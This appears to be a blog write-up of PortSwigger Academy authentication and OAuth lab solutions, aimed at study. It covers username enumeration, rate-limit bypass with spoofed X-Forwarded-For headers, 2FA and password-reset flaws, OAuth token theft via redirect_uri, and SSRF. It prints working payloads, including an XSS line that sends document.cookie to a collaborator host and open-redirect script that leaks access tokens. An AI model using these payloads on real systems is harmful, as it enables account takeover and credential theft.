Authentication - [PortSwigger]
Table of Contents
Introduction
In this post there is a compilation of every apprentice and practitioner lab related to the authentication topic from PortSwigger Academy.
Username enumeration via different responses [Apprentice]
Using the list of usernames and passwords, we can use intruder in sniper mode to know the credentials. First, look for the user and then look for the password.
username=§USERNAME§&password=PASSWORD => am (Check the length)
username=am&password=§PASSWORD§ => freedom (Check the status code)
However, another method would be the use of the cluster bomb to make a huge brute-force attack that will take longer than the previous one.
Username enumeration via subtly different responses [Practitioner]
Doing the same procedure, adding "Invalid username or password." at the Options/Grep - Match
and checking flag result items with responses matching these expressions, we can obtain the username "agent".
Finally, in the same way as the previous lab, we obtained the password "michael" by ordering the status code.
Username enumeration via response timing [Practitioner]
First of all, making a brute force attack makes us banned from the website, getting the following text "You have made too many incorrect login attempts. Please try again in 30 minute(s)".
Using the hint, it says that in order to bypass the ban, we need to use some headers. In order to discover which headers we need, I used the wordlist SecLists/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
, adding the IP 127.0.0.1
as value.
After intruder completed, we obtained that the header was X-Forwarded-For
.
Now, we can perform the username enumeration by setting a Pitchfork attack with the following positions.
POST /login HTTP/1.1
[...]
X-Forwarded-For: 127.0.0.§1§
username=§USERNAME§&password=PASSWORD
As the first position will be a list of numbers that we can obtain by setting the "Payload type" to numbers and using the following parameters.
Once, the attack is completed, we need to go to columns and add the columns "Response received" and "Response completed". Ordering by "Response completed" we can see that with the user "ec2-user" took longer than the rest.
Then, doing the same procedure with the password we retrieve the password "monitor".
Finally, intercept another login request with the correct credentials and add the header in order to gain access and complete the lab.
Broken brute-force protection, IP block [Practitioner]
First of all, we need to know how many wrong credentials we need to submit before getting blocked by the application. In this case, it was three times.
Then, to avoid getting banned, we need to permutate between a correct and incorrect credential. For doing so, we are going to use the Pitchfork attack, setting as the first payload the usernames "wiener" and "carlos", in that order; and for the second payload a wordlist with the word "peter" after each possible correct password.
This last thing can be achieved with the following commands:
sed -e 's/$/\npeter/' -i password.txt # password should contain the passwords from the previous exercises
sed -i '1s/^/peter\n/' password.txt
python -c "print(('wiener\ncarlos\n'*$(wc -l password.txt | cut -d' ' -f 1))[:-1])" > usernames.txt
Then, because the attack must be executed in a sequential way, we need to set the pool of concurrent requests to one.
Finally, if everything went as expected we should see a response with a 302 status code, leading to the password "princess".
Username enumeration via account lock [Practitioner]
First, we need to detect the username, so we need to perform a cluster bomb attack using the whole list of usernames and trying four random passwords (The amount of failed login attempts to block an account).
Once the attack has completed, you should see a response for a user with a different length, with the text "You have made too many incorrect login attempts. Please try again in 1 minute(s)."
Finally, by doing a snipper attack using the password wordlist, we can retrieve the password order by the length of the response because the response doesn't contain "You have made too many incorrect login attempts. Please try again in 1 minute(s)." or "Invalid username or password.".
Note: Another way to achieve this goal is to use the Grep - Extract option.
Broken brute-force protection, multiple credentials per request [Practitioner]
As the name of the lab subjects, this lab is about to upload several credentials per request. So looking at the login request, we can see a JSON file.
POST /login HTTP/1.1
[CENSORED]
{"username":"carlos","password":"patata","":""}
Because it is a JSON string, we could append all the passwords as a list so the system can check every password in just one request, avoiding the ban.
In order to put all the passwords as a one-line, you can use the following command.
awk '{printf "\"%s\",",$1}' /media/sf_PortSwigger/Authentication/password.txt
After that, the JSON should look like this.
{"username":"carlos","password":["patata","potato",...],"":""}
Finally, forward the request, completing the lab.
Bypassing two-factor authentication [Practitioner]
In this lab, we are in a strange stage between submitting the credentials and sending the 2FA code, so using the browser, we can access my-account
, passing the lab.
Alternatively, we can intercept the GET request to /login2
after sending the credentials and change it to my-account
.
2FA broken logic [Practitioner]
First, we need to analyse how a 2FA is being requested on the server. To do so, we can use the wiener account.
As you can see in the GET request to /login2
there is a cookie with the user that we want to authenticate, so by forwarding the request, we obtain an email with a 4-digit number.
GET /login2 HTTP/1.1
Host: [CENSORED]
Cookie: session=[CENSORED]; verify=wiener
Hence, if we change the verified username for Carlos, a verification code will be generated. However, we can not obtain it, so we will have to brute force it with the intruder.
Intercept the POST request to login2
and use a number between 1000 and 2000, so you do not have to brute force everything.
POST /login2 HTTP/1.1
Host: [CENSORED]
Cookie: session=[CENSORED]; verify=carlos
[CENSORED]
mfa-code=§1234§
Once obtained the number, we can log in as Carlos.
POST /login2 HTTP/1.1
Host: [CENSORED]
Cookie: [CENSORED]; verify=carlos
[CENSORED]
mfa-code=1234
Brute-forcing a stay-logged-in cookie [Practitioner]
kali@kali:~$ curl -s -D - -o /dev/null -X POST -d "username=wiener&password=peter&stay-logged-in=on" https://<LAB_ID>.web-security-academy.net/login
HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=XZj6POr9Rh8Rx1nbPm5dx6v4horhqoZI; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 0
-s
hides the progress bar-D -
dump headers to stdout indicated by-
-o /dev/null
send output (HTML) to/dev/null
, essentially ignoring it
As we can see in the response, there is a stay-logged-in
cookie. This cookie can be decoded in base64, turning out to be a combination of the username plus the password hashed with md5.
kali@kali:~$ echo -n d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw | base64 -d
wiener:51dc30ddc473d43a6011e9ebba6ca770
kali@kali:~$ hashid 51dc30ddc473d43a6011e9ebba6ca770
Analyzing '51dc30ddc473d43a6011e9ebba6ca770'
[+] MD2
[+] MD5
kali@kali:~$ echo -n peter | md5sum
51dc30ddc473d43a6011e9ebba6ca770 -
Then, trying to access /my-account
without the cookie set, we obtain a 302. However, if we add the earlier cookie, we obtain a 200.
GET /my-account HTTP/1.1
Host: <.web-security-academy.net
Cookie: session=TP2wQk6VbhDIPv0DoNaA5D3bDZZq1QXt; stay-logged-in=
[...]
# RESPONSE
HTTP/1.1 302 Found
Location: /login
Set-Cookie: session=AxMWxl8zpoPuMNVMTNoBc9mITNo8Othv; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 0
# RESPONSE (COOKIE)
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Set-Cookie: session=8nIGVjGSiPrTmLsoBhwzeGS2yTqlR5gJ; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 3056
Then, we can use intruder to select the value of the stay-logged-in
cookie, using the passwords list and adding the following payload processes:
- Hash: MD5
- Add Prefix: "carlos:"
- Base64-encode
Offline password cracking [Practitioner]
This lab is the same as before. However, we need to obtain the stay-logged-in
cookie exploiting an XSS vulnerability in the comments section. That is why we need the exploit.
The comment field is vulnerable to XSS. Using collaborator, we can obtain Carlos's cookie with the following payload.
<script>document.write('<img src="http://<COLABORATOR_DOMAIN>/'+document.cookie+'"/>')</script>
Once you submit the payload and wait for a bit, you should see an HTTP request with a scret coosecret
GET /secret=DAkPS1NjXi4tngmNe99NBz4KXJ3Z3QZz;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1
Decoding the stay-logged-in
, we obtain the following.
echo -n Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz | base64 -d
carlos:26323c16d5f4dabff3bb136f2460a943
Using crackstation we can obtain that the password is "onceuponatime", solving the lab.
Password reset broken logic [Apprentice]
Intercepting the whole "Forgot password?" we can see that at the reset password form appears the username of the user whose password is going to be changed.
POST /forgot-password?temp-forgot-password-token=rEAyzxHlurjVqVCN7DyJVI3DowpZSMNT HTTP/1.1
Host: <LAB_ID>.web-security-academy.net
[...]
temp-forgot-password-token=[...]&username=wiener&new-password-1=1234&new-password-2=1234
Hence, by doing the same procedure but changing the username to "carlos" changed, we can access as Carlos with the password that we have just changed.
Password reset poisoning via middleware [Practitioner]
If the X-Forwarded-Host
header is set, it will put the domain in the generated domain link. For instance, if the domain is "patata.com", the generated link will be "https://patata.com/forgot-password?temp-forgot-password-token=PHXgobuxjqn3Y0cLPYYejFqdKPjCqPDK"
To solve this lab, use X-Forwarded-Host:
in the POST request /forgot-password
using the collaborator domain and set the username
to Carlos, so once Carlos clicks on the mail, the request is forwarded to our server.
Basic password reset poisoning [Apprentice]
Same as beofre.
Password reset poisoning via dangling markup [Expert]
In the form /forgot-password
, the value of the HTTP header Host:
is used to generate the password recovery link in the email sent to the victim. However, if we change the host, the application crashes. But if we add information in the port, the result will be passed on without any problem.
As an example, setting "host" as a port.
Host: https://XXXXXXXXXX.web-security-academy.net:host
The response contains "host" on the recovery link.
<a href='https://<LAB_ID>.web-security-academy.net:host/'>
After some trial and error, the server uses '
to append the host value. Thus, this can be used to append HTML code.
Request
Host: https://XXXXXXXXXX.web-security-academy.net:'><h1>hola</h1>'
Response
'><h1>hola</h1>'
Despite not having sense, adding the payload with a burp suite collaborator domain.
Host: XXXXXXXXXX.web-security-academy.net:'<a href="http://<BURP_COLLABORATOR>/?
The email obtained has no URL.
Nonetheless, doing the same thing for the user Carlos, it is possible to obtain Carlos' password on the collaborator panel
Final request.
POST /forgot-password HTTP/1.1
Host: <LAB_ID>.web-security-academy.net:'<a href="http://<BURP_COLLABORATOR>/?
[...]
csrf=m5nLOqC7GPxty0yQbcgLVmUYXDXk1j9s&username=carlos
Password brute-force via password change [Practitioner]
What happens is that if you change your password correctly, your SESSION cookie is disabled, so you can not perform any brute force attack. However, if the "New password" and "Confirm new password" are not the same, you get an error. This error can be used to brute force the password.
Intercept the change password query containing different passwords and modify it like so.
POST /my-account/change-password HTTP/1.1
[...]
username=carlos¤t-password=§peter§&new-password-1=peter1&new-password-2=peter2
Then, use the passwords' list to perform the brute force attack.
Once completed, order by length, obtaining a row with a length of 3945, obtaining the carlos' flag.
Authentication bypass via OAuth implicit flow [Apprentice]
Intercepting all the requests with Burp, we can see that in the /me
request to the OAuth server; some user data is obtained. Later in the POST /authenticate
request, the username and email are sent with a token. Nonetheless, the application doesn't check if the token is for the user who did the OAuth process.
Hence, we can change the username and email for Carlos'. Passing the lab.
Forced OAuth profile linking [Practitioner]
Once logged into the application, there is a "Attach a social profile" button where we can connect a social profile to our account so we can log in directly using our social profile.
Intercepting all the requests, after clicking on "Attach a social profile", we can see the authentication process at the "oauth" server. After that, we need to accept the use of our data to be used by the vulnerable application.
After some more requests, there is a request to the application endpoint /oauth-linking
with a code
sent as a parameter. This code allows the application to be linked to the social media account.
However, this code can only be used once, so you must drop the request to send it to the victim.
This last thing can be done through the exploit server with the following payload and pressing "Deliver exploit to the victim".
<img src="<LINK>">
OAuth account hijacking via redirect_uri [Practitioner]
After linking our OAuth account with the application and logging out, we need to log in and intercept all the requests.
In the GET request to /auth
there are several parameters. One of them is redirect_uri
. If we send this request to the repeater, we can mess with the redirect_uri
redirecting the response to whatever domain we want.
For instance, if the value of redirect_url
is https://bacon.com
the response will look like this.
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://bacon.com?code=M8BaKpar6n4Wnm7op3Me84YjjtFx3F95kywZfaKzsre
Content-Type: text/html; charset=utf-8
Set-Cookie: _session=oPENjc_hXzT4DtIx7ChOs; path=/; expires=Tue, 20 Sep 2022 16:37:21 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=oPENjc_hXzT4DtIx7ChOs; path=/; expires=Tue, 20 Sep 2022 16:37:21 GMT; secure; httponly
Date: Tue, 06 Sep 2022 16:37:21 GMT
Connection: close
Content-Length: 163
Redirecting to <a href="https://bacon.com?code=M8BaKpar6n4Wnm7op3Me84YjjtFx3F95kywZfaKzsre">https://bacon.com?code=M8BaKpar6n4Wnm7op3Me84YjjtFx3F95kywZfaKzsre</a>.
Hence, we can deliver the exploit to the victim with a malicious URL, obtaining the Administrator code.
# Exploit server payload
<img src="https://oauth-[...]/auth?client_id=[...]&redirect_uri=https://exploit-[...]&response_type=code&scope=openid%20profile%20email">
Once the code is obtained through the log server.
10.0.3.162 2022-09-06 16:40:31 +0000 "GET /exploit/ [....]"
10.0.3.162 2022-09-06 16:40:31 +0000 "GET /?code=o4a8vSLOGjHrTPj80A4Vtf0gBsvfWHqaY5uaU8Mbuey [....]
We need to log in one more time to intercept the login requests.
Then, change the value of the code
parameter in the /oauth-callback
request by the value obtained earlier.
Stealing OAuth access tokens via an open redirect [Practitioner]
After being logged in and logged out for the first time in the web application, if we log in once more, there will be a GET request to /auth
with the parameter &redirect_uri
. In the response will appear the URL sent as the value of the redirect_uri
.
GET /auth?client_id=ljlmw5fgfbthcdjygqku5&redirect_uri=https://<LAB_ID>.web-security-academy.net/oauth-callback/&response_type=token&nonce=91814553&scope=openid%20profile%20email HTTP/1.1
Host: oauth-<OAUTH_ID>.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<LAB_ID>.web-security-academy.net/post?postId=1
Upgrade-Insecure-Requests: 1
Connection: close
There are some security mechanisms implemented over the redirect_uri
because it only allows URLs that contain <APPLICATION_ID>.web-security-academy.net/oauth-callback/
. Nonetheless, the URL path can be modified, so instead of /oauth-callback/
, the path could be /oauth-callback/../post?postId=3
.
Furthermore, there is an Open Redirect on the application on the "Next post" button.
GET /post/next?path=https://google.com HTTP/1.1
[...]
Connection: close
# RESPONSE
HTTP/1.1 302 Found
Location: https://google.com
Connection: close
Content-Length: 0
The payload should look like this.
https://oauth-[...]/auth?client_id=[...]&redirect_uri=https://<APPLICATION>.web-security-academy.net/oauth-callback/../post/next?path=https://<EXPL.web-security-academy.net/exploit/&response_type=token&nonce=1476697374&scope=openid%20profile%20email
Executing the URL on the browser, we obtain the following URL, obtaining the access_token
.
https://exploit-<EXPLOIT_DOMAIN>.web-security-academy.net/exploit#access_token=VuCW1ip8hwx-LpfAMdlYONbMj87rixH6cKgSHBYtwRx&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
However, submitting the URL for the victim doesn't work, we only obtain /exploit
.
So, to obtain the access_token is needed a JavaScript code that obtains the data after the "#" and sends it as a URL parameter.
<script>
if (!document.location.hash) {
window.location = '<PAYLOAD_URL>'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
After delivering the exploit to the victim, we obtain the victim's access token.
This token is used in the POST request to /authenticate
.
POST /authenticate HTTP/1.1
Host: <LAB_ID>.web-security-academy.net
[...]
{"email":"wiener@hotdog.com","username":"wiener","token":"bE1AdCRl5kSIcPrPFF8Ltoo-jgAk0Xl6TjR73Fvu_J2"}
To obtain the administrator's API, we only need to send a GET request to /me
, with the administrator's access_token.
curl https://oauth-<OAUTH_ID><.web-security-academy.net/me -H "Authorization: Bearer M8iC-rLovDfPdTJw6n5OqvwwfwRAAmNRQikwRAyd20A"
{"sub":"administrator","apikey":"lOmMXBpnB5kCAGbzSm7SBgZtybU7zqUX","name":"Administrator","email":"administrator@normal-user.net","email_verified":true}
SSRF via OpenID dynamic client registration [Practitioner]
First, check the following endpoints to obtain information about how to register an application against an OAuth server.
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
The following interesting information is obtained.
curl -s https://oauth-<OAUTH_ID>.web-security-academy.net/.well-known/openid-configuration | jq
"issuer": "https://oauth-<OAUTH_ID>.web-security-academy.net",
"jwks_uri": "https://oauth-<OAUTH_ID>.web-security-academy.net/jwks",
"registration_endpoint": "https://oauth-<OAUTH_ID>.web-security-academy.net/reg"
To register an application, it is needed to perform the following request, getting a new client_id
.
kali@kali:/tmp$ curl -k -X POST https://oauth-0abb009003b6d948c0a740be02370066.web-security-academy.net/reg -H "Content-Type: application/json"
-d '{
"application_type": "web",
"redirect_uris": [
"http://<BURP_COLLABORATOR>"
],
"client_name": "My Application",
"logo_uri": "<BURP_COLLABORATOR_URL>"
}'
-x http://localhost:8080 | jq
[...]
"client_id": "c4KqeQdbUxBCErKp9YcX0",
Then, if we try to recover the application's logo, it is obtained a response on Burp Collaborator.
curl -k https://oauth-<OAUTH_ID>.web-security-academy.net/client/zz7hO-3iJcGWVjRzTbMGY/logo -x http://localhost:8080
[...]
kignj653croz04riby93pbzjigz</body></html>
Hence, to perform an SSRF attack only is necessary to perform the same process but using the URL of the statement.
Finally, we only need to submit the SecretAccessKey
.
kali@kali:/tmp$ curl -k https://oauth-<OAUTH_ID>.web-security-academy.net/client/zz7hO-3iJcGWVjRzTbMGY/logo -x http://localhost:8080
{
"Code" : "Success",
"LastUpdated" : "2022-09-14T20:29:09.995889767Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "pT5j7t6CJJ5BYhCHmnGz",
"SecretAccessKey" : "5PZL7ImONUDWcAAWEcROGQgyO2UrF5n2xb7HvqPW",
"Token" : "NcYrzYLy7Vw2SH2D7TWUrMomAPLvenWzVF1KtdjRNBTQeVydygj3kKdKy42uQBKfaYDU7uXc6YRo4krVKeEcAdhaQMzOUBUu63snr52GNTyZwwAyUav1MSZ49ehPgnmCeQ2GHbjmZfxrJCaDqLl3BlsrbAlnIur6GSWwS1Auy826L8W0LpOW0UBn2tR7Hyq4M31Vsxz3h8F9bXGOAgBFGiDpskf8osP3Bj6GlSl6NuzSEzXqfgiajadIDuuUFcJl",
"Expiration" : "2028-09-12T20:29:09.995889767Z"